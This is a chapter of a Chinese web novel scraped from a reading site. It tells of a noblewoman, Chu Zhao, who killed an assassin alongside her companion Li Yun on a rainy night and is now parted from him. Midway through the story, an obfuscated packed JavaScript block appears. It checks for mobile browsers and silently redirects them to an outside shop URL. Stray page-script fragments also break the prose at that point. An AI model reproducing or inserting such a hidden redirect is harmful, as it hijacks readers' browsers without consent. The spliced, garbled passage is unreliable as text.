文趣网 > 其他小说 > 二小姐她为所欲为 > 3. 雨夜 楚朝已经很久没拿过刀了。
    楚朝已经很久没拿过刀了。

    但她对这把刀并不陌生,相反的,她印像深刻。

    她低眸看了一眼这把刀,没有任何配饰和挂坠,它依旧是那把普通的刀刃。

    李云应该对它做了一些改进,现在有了通体龙骨,又加了些什么其他的结构。

    她看不太明白,只觉得这匕首握在手里重了些。

    依旧冰冷又无情,她甚至还能闻到久违了的血腥气。

    果然如此,他俩都没忘记那个雨夜。

    血腥气最开始是从李云身上传来的。

    此刻他浑身滚烫,躺在她背后已经神志不清了。

    她努力瞪大了双眼,只是房间里烛火幽微,甚至不太能照亮他们身处的这个角落。

    外面大雨倾盆,有什么动静发生也不能听清。

    “李云,李云。”她叫了几声,可是没有回应。

    他两天前出门一趟,今晚冒着雨回来便是这样。

    只说了一句别管他快跑就昏了过去。

    她又扑到他身上摸索一番,许是她太慌张,并不能摸清他伤在何处。

    除了满手的血,她翻到这把刀。

    没有别的办法,她哆哆嗦嗦的拖过毯子盖在李云身上,背对着他呈保护的姿势,死死地抓紧这把刀握在胸前。

    有人要趁夜来取他们的性命,而这偌大的宅子却毫无藏身之所。

    她只能这样堪堪应对,等到天明。

    可是哪里会这么好运,不过一刻,屋子的门便被猛的踢开。

    来人带着刀,身形健硕。

    出乎意料的,他脚步踉跄,身上也带着血腥味,应当是负了伤。

    退无可退,她觉得自己大概要同李云一齐死在此处。

    “相府二小姐?”来人走近了些,看清了她,是个疑问的语气。

    她也看清了那人的容貌,一个中年男人,脸上一道疤从左侧眼角到嘴角,手上还拿着一把刀。

    门外还在下着大雨,从敞开的门吹进来。

    她连眼睛都不敢眨,抬手抹了一把脸,脑子清醒了些。

    趁着那人还没靠近,她动作敏捷地起身吹灭了烛火,霎时屋里屋外一片漆黑。

    她本意是迅速拖着李云换个地方,总会有逃出去的机会。

    可惜她力气并不大,惊慌中只感觉自己拖着的毯子一松,有个滚烫的身躯带着她往一旁去。

    雨声很大,可若是仔细听,隐约能听见屋内传出的动静。

    有东西被撞倒在地,有杂乱的脚步声,还有打斗的声音。

    声音又多又杂,可是没人说话,远处传来轰鸣声,是要打雷了。

    有重物倒地的声音,而后此处的动静在一瞬归于平静。

    雨下得可以算倾盆,外面落下来的水声听起来像在池塘。

    门外吹来风声越来越大,大约院里的水要漫到屋里来。

    楚朝觉得冷,可是天色这么黑,她连方向都辨不清。

    好像身处的不是屋子,而是一座孤岛。

    一道雷电劈了下来,瞬息照亮屋里的一切。

    她睁大的眼睛看见那个男人倒在了自己面前,他脸上的疤依旧可怖,可是眼睛却再无光芒。

    再往下,她看见一把匕首正插在他的胸口,这下插得很深,足以致命。

    而那处流出的血已经染红了地面。混着飘进来的雨水,整间屋子像一个血池。

    惨白又刺眼的光只闪了一瞬就消失,紧接着传来的巨大雷声像是有人拿着鞭子在天上舞了狠狠一道。

    她被鞭子打过,而这一下像是打在她的心脏。

    屋里安静又漆黑,可是她清楚的感知到李云紧紧的靠在她身后。

    他应该烧得厉害,浑身有些无力了。可是握住她的手却没一点松动。

    他正握住她的手。

    以前他们也一起做过很多事,李云握住她的手教她写字,指导她弹琴,再嘲笑她是个笨蛋。

    可是这会李云没说话,愈发靠紧了她,这下是个十足的拥抱。

    头垂在她肩膀上,呼吸都带着热意。

    要赶快给他降温和冲洗创口,再熬些药喝。

    她坐在满屋子腥甜的气味里这样想着,可是却像个木头一般一动不动。

    因为此刻他们的手,正一起握在这把匕首的手柄上。

    后来她再没见过这把刀。

    李云把她宠得像一个货真价实的千金小姐,仿佛从前混乱又糟糕的生活与她毫不相关。

    她只需要仗势欺人,在他们敢怒不敢言的目光里挑剔地挑选礼物就行了。

    别说是刀,她拿起过最锋利的东西大概是头上的簪子。

    一位千金小姐怎么会拿起一把刀呢,她骄纵又无能。

    只有被逼到绝境要自救的人才会随身携带这样的东西。

    珠宝首饰有多重,她曾经向李云抱怨过,只嫌弃他送的东西累赘又麻烦。

    可这把刀拿在手里,她只觉得这样轻。就好像她手里一直都缺少这样的物件。

    “二小姐,你误会了”他说。

    “去京都的路上,我总是不能陪着你的。”他依旧低着头看她,眼神不起波澜。

    “不能吗?”她轻声重复了一遍。

    明面上,这些年李云的确从来没有和她一起同行。

    但她知道他一直在,有时路上突然想起的鸟叫,或者被扔进马车里的什么果子,都是李云在陪着她。

    这样的李云让她觉得陌生,她想问一句为什么,可是眼下这把刀已经在她手上,却又好像一切不必多问。

    这么多年,他们之间有些话不必讲明。

    他要离开她了。

    她很小声地开口:“李云,你是不是遇到什么难事。你别丢下我,我不会拖累你的。”

    李云皱起了眉,嘴角神经质地抽搐了一下。

    也许绷得太久,一贯平静的表情终于出现了一丝裂痕,就像突然被打破的冰面。

    他眼睛里翻涌出数不尽的难过。

    “阿朝,阿朝。”他咬着牙说了两遍。多的话却一句不肯再说。

    他抬起手摸了摸她的头发,动作很眷念。

    最后他还是把手放下,再握住她的手,温柔但不可拒绝的帮她把刀收好——放在腰封中,这样方便又安全。

    然后他轻轻地抱住了她,把下巴放在她头顶。

    他经常这样抱她,尤其在每每离开此处同她告别时。

    楚朝一动不动,甚至呼吸都放轻,希望他能改变主意,告诉她这不过是一场捉弄。

    可是他这样停顿了一会,最终还是就走了。

    他走得很稳,没有回头。像是毫无动摇,亦没有留念。

    身后的楚朝抬手摸了摸头发,指尖染上湿润。

    雪已经停了很久了,原来是这位云大人悄悄流的泪。

    眼泪是咸的,她面无表情地想,没有擦干自己脸上的眼泪。可是指尖苦得发疼。

    那个雨夜过后,她便不再清楚李云的踪迹。从前他们几乎形影不离。

    她知道他大概开始做一些危险的事。

    可是他总是不开口,连伤口也要养好了再假装无事的回来见她。

    短的是几天,长的时候甚至一两个月。他不想说,她也不敢问。

    她太了解李云,知道拦不住他。

    他后来就开始带钱回来,她也一脸欢喜地收着。

    只有一次,他是被别人带回来的。他连头发丝都在往下滴血。

    送他回来的小姑娘也是像从血水里泡了出来的。还给她留了一笔不菲的银票。

    她木然地接过,却像是被万箭穿心。

    那次他几乎要死了。

    可是楚朝不说话,照料了他七日。他从昏迷中醒来,两人沉默以对。

    等到他养好了,又过了半个月的安生日子。

    可是李云还是要出门。

    出门的时候楚朝拦住了他。他想着大清早偷偷溜走,推开门却看见楚朝坐在门口等他。

    “带我一起。”她说。

    “不行。”他说得斩钉截铁。

    “不去了行吗。”她语带央求。

    “不行。”

    “别管我了,李云,去做什么都好。我不需要你这么做,你这样会拖累我的你不知道吗,我不想天天担惊受怕的。”

    她把话说得难听。

    “不行。”他甚至没有一点犹豫。

    不行不行不行。他从没对她说过这么多不行。楚朝要被他逼出眼泪了。

    他叹了一口气,走近了一步,抬手摸了摸她头发。

    他把她揽在怀里,下巴放在头顶。

    “阿朝,别怕。”他这样说,又拍了拍她的背。“我自己情愿的,二小姐。”

    然后就这样转身离开,没有回头。

    那时的他尚且没有流泪。

    一步一步,时至今日。

    楚朝看着他的身影穿过回廊消失在门口,心里的难过像洪水似的把她淹没。

    已经快到正午,饭菜的香气从别处传了过来,下人吵闹但有序的干活声时不时响起。

    每次李云回来,这府里就像过节似的热闹。

    好像不这样兴师动众一番,不能表达二小姐的欢喜。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547449|204208||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>正赶上春节,府子里更是一派的喜气洋洋。

    可是李云已经走了,大概不会再回来。

    他呆的时间这样短,连吃顿饭都赶不及。

    她就在这样热闹喜庆的氛围里站了一会,觉得前所未有的孤单。

    掏出那把刀,举起来对着天空细细地翻来覆去地看了几遍。

    刀身锋利,反射出刺眼的寒光。她微微眯眼,觉得的确更趁手了些。

    这会的天气很好,屋檐上的雪开始化了。

    只是冬天的风吹到脸上还是冰凉,混着脸上的泪水只觉得要冷到骨子里。

    上一次她握住这把刀的夜晚,她也觉得这样冷。

    门外的雨像是永远不会停,雷声已经平静了,吹来的风也不再将门吹得吱呀作响。

    她依旧保持这那个姿势坐在那里一动不动,像是已经成了雕像。

    李云像是被冷风吹醒了些神志。

    “别怕,阿朝。”他从背后把她抱紧了些。明明浑身滚烫,可是安慰她的话依旧温柔,听不出难受。

    “杀人的事,我做惯了。要不是你,借我些,力气。我今天,是要死,在这里。多谢你。”

    他连说话都没力气,只能几个字几个字的说。

    楚朝终于动了动。她扔掉了那把刀,就着这个姿势背起了李云。

    她一言不发,只是背着他走了几步把他放在了床上,再转身想去把烛火点亮。

    “阿朝。”他大概放心不下,又牵住她的手不让她离开。

    “别怕,别怕。我很快就好了,交给我吧,别怕。”

    他很虚弱,但握住她的手格外紧。

    于是楚朝便没有再动,在黑暗里静静地陪着他。

    直到他喃喃自语着,终于睡了过去。

    不知道又坐了多久,雨终于小了一些,大概是天要亮了。

    屋子里的血腥气还是很重,楚朝抬手擦了擦脸,此时手都有些僵,故而动作迟钝了些。

    只觉得满手湿润,也不知道是雨水泪水还是方才的血水。

    纵使李云将一切都揽在自己身上,楚朝也闭口不言,只默认他事后含糊其辞的解释。

    可是杀人,对于一个小姐来说还是太刺激了。

    发着烧的李云力气依旧很大,但她并没有被吓傻。

    他的确带着她躲过了那人的攻势,好几次她和刀锋或者男人的衣襟擦肩而过。

    逃不掉了,她在一片混乱中冷静的想着。

    李云的喘息声愈发沉重,她毫不怀疑,如果不能尽快结束,李云会直接扔下她跟这个男人最后做个了结。

    毕竟看样子,直到刚刚,这个陌生的男人才认出她是相府二小姐。

    那么他大概率是冲着李云来的。

    两人都伤得这么重,却不死不休,也许真的到了你死我活的那一步。

    在下一次男人扑过来之时,李云再一次拉着她躲开,正想顺势推开她的时候。

    她却用力向前,在黑暗中准确扎中了那人胸口。

    男人吃痛,正想一掌将她拍开。李云反应很快,再次握紧她的手,将刀送得更深。

    然后,一切寂静。天边的雷声终于打了下来,像是在揭露这里发生的一切罪孽。

    这一夜的光景她从不回想,可是午夜十分却时常闪回几个零星的画面将她惊醒。

    李云在的时候她从不做这样的梦,每次李云离开,或者久了收不到他的消息,那晚的画面就会愈加频繁的出现在她的梦里,让她寝食难安。

    她原本以为自己是在害怕杀人,或者太过于依赖李云。

    今天突然明白,她一直在害怕李云回不来,更怕自己不能护住他。

    长廊前,一身名贵首饰的二小姐楚朝颤抖着终于擦掉脸上的泪。

    她借着刀身打量一番,幸好脸上的胭脂并没有花,再重新把刀揣好。

    整理了衣裳往宴会厅走,那处想必已经备好了饭菜。

    要好好吃饭,她深吸了一口气,往外走的脚步从容。

    午后还要去仔细交代管家一番,毕竟此去京都,她不再只为了过节。

    她脸上的神情已然看不出异常,路过的仆人看见她只和平常一样行个礼再匆匆离去。

    往常她和李云吃饭总是不让人打扰,而今她一个人依旧若无其事地夹菜吃肉。

    还是很好吃啊,小云。她在心里想,不再难过。

    臭小子,她咬下一块糖醋排骨,入口酸甜,肉质软糯,这是李云最喜欢吃的菜。

    记得是我护住你的啊,就是拿着这把刀。

    在京郊可以,在京都又怎么不行。